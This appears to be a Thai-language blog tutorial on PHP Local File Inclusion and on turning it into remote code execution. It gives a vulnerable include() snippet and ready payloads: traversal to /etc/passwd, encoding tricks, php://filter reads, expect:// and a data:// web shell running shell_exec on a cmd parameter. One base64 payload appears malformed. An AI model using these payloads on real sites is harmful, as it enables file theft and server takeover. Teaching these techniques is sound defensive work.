วันนี้จะพูดถึงช่องโหว่ Local File Inclusion (LFI) และ Remote Code Execution (RCE) จากการทำ LFI
ตัวอย่าง code
1 2 3 4 5 6 |
<?php $file = $_GET['file']; if(isset($file)) { include("$file"); } |
โดยปกติจะเป็นการเรียกใช้งานเป็น
1 |
http://example.com/index.php?file=contact.php |
ทีนี้ถ้าเป็นการโจมตี LFI ก็จะเป็น
1 |
http://example.com/index.php?file=../../../../../../../../etc/passwd |
โดยจาก code จะเห็นว่ามีการใช้งาน function include นำ content ของไฟล์ file ท่ีได้รับจาก GET Method มาแสดงผล ทีนี้ ../ คือการ back ไปยัง path ก่อนหน้า 1 path นั่นเอง
Null Byte Injection
1 |
http://example.com/index.php?file=../../../../../etc/passwd%00 |
%00
เป็น http encoded ของ 0x00
ซึ่งมีความหมายว่า null byte ซึ่งหมายความว่าตัวตัดตัวอักษรที่เหลือหลังจากนั้นทิ้งนั่นเอง
Null byte injection ถูก fixed ใน PHP 5.3.4
Filter Evasion
หากมีการเขียน code ป้องกันเป็น
1 2 3 4 5 6 |
<?php $file = str_replace('../', '', $_GET['file']); if(isset($file)) { include("lib/functions/$file"); } |
เราสามารถ URL encoding ในการ bypass ได้
1 |
http://example.com/index.php?file=..%2F..%2F..%2F..%2F..%2Fetc/passwd |
แต่วิธีนี้จะใช้ไม่ได้ในปัจจุบัน แต่ถ้าเป็น
1 |
http://example.com/index.php?file=....//....//....//....//....//etc/passwd |
ก็จะได้ผลเป็น
1 |
http://example.com/index.php?file=../../../../../etc/passwd |
Double encoding
หากมีการใช้งานตรวจสอบโดยการ urldecode() ครั้งเดียวก็จะจับ request ที่เป็น%2E%2E%2Fetc%2Fpasswd
ได้
ทีนี้หากเราเปลี่ยน % ให้กลายเป็น %252E%252E%252Fetc%252Fpasswd
พอผลลัพธ์ออกจาก urldecode() ก็จะได้ผลลัพธ์เป็น %2E%2E%2Fetc%2Fpasswd
แล้ว ซึ่งก็คือ ../../etc/passwd นั่นเอง
Path truncation
ก่อนอื่นต้องทำความเข้าใจก่อนว่า
- ใน UNIX
/./etc/passwd
มีค่าเท่ากับ/etc/passwd
- ใน PHP ตัด / หลังตัวอักษรสุดท้ายทิ้ง
/etc/passwd/
มีค่าเท่ากับ/etc/passwd
และ/etc/passwd//////
มีผลเดียวกับ/etc/passwd
เช่นกัน - ใน PHP
./
ใส่ไปต่อท้าย/etc/passwd/
กี่ครั้งก็ได้ ไม่ว่าจะเป็น/etc/passwd/./
,/etc/passwd/././.
ก็มีค่าเท่ากับ/etc/passwd
.
ซึ่งตัว ../../../etc/passwd/././././././
กี่ครั้งก็แล้วแต่ก็จะผลเท่ากับ ../../../etc/passwd
เนื่องด้วย php จะกำหนดไฟล์ให้มีขนาดความยาวได้มากสุดแค่ 4096 byte เท่านั้น หากมากว่านั้นก็จะตัดส่วนที่เกินทิ้ง ซึ่งทำให้สามารถ filter บางอันที่คอยดูชื่อไฟล์ได้
แต่วิธีนี้จะไม่ได้ผลกับ PHP version ที่มากกว่า 5.3.4 ครับ
การทำ RCE ผ่าน LFI
เราสามารถทำได้โดยให้รับค่าโดยตรงจาก php code ที่ inject เข้าไปเลย
1 |
index.php?page=php://filter/read=convert.base64-encode/resource=config |
ซึ่ง php://filter ก็คือหนึ่งใน PHP Wrapper นั่นเอง
การใช้งาน php://filter/convert.base64-encode/resource เป็นการบังคับให้อ่านไฟล์ที่เป็นเป้าหมายออกมาเป็น base64 แล้วนำมาแสดงผลนั่นเอง
1 |
index.php?page=php://filter/convert.base64-encode/resource=../../../../../etc/passwd |
หากใช้เป็น php://expect จะทำให้สามารถทำเป็น RCE ได้ แต่ php://expect ไม่ได้ถูก enable มาโดย default
1 |
index.php?page=expect://ls |
หากใช้ php://input เราจะสามารถส่ง payload ผ่านไปทาง POST Method ได้
หากใช้เป็น data:// เราสามารถ include PHP code จากส่วน Request ได้เลยทันที
1 2 3 4 5 6 7 8 9 |
http://example.com/index.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA2fPg%3d%3d หรือ http://example.com/index.php?file=data:text/plain;,<?php echo shell_exec($_GET['cmd']);?> หรือ http://example.com/index.php?file=data:text/plain;,<?php phpinfo(); die();?> |
Source::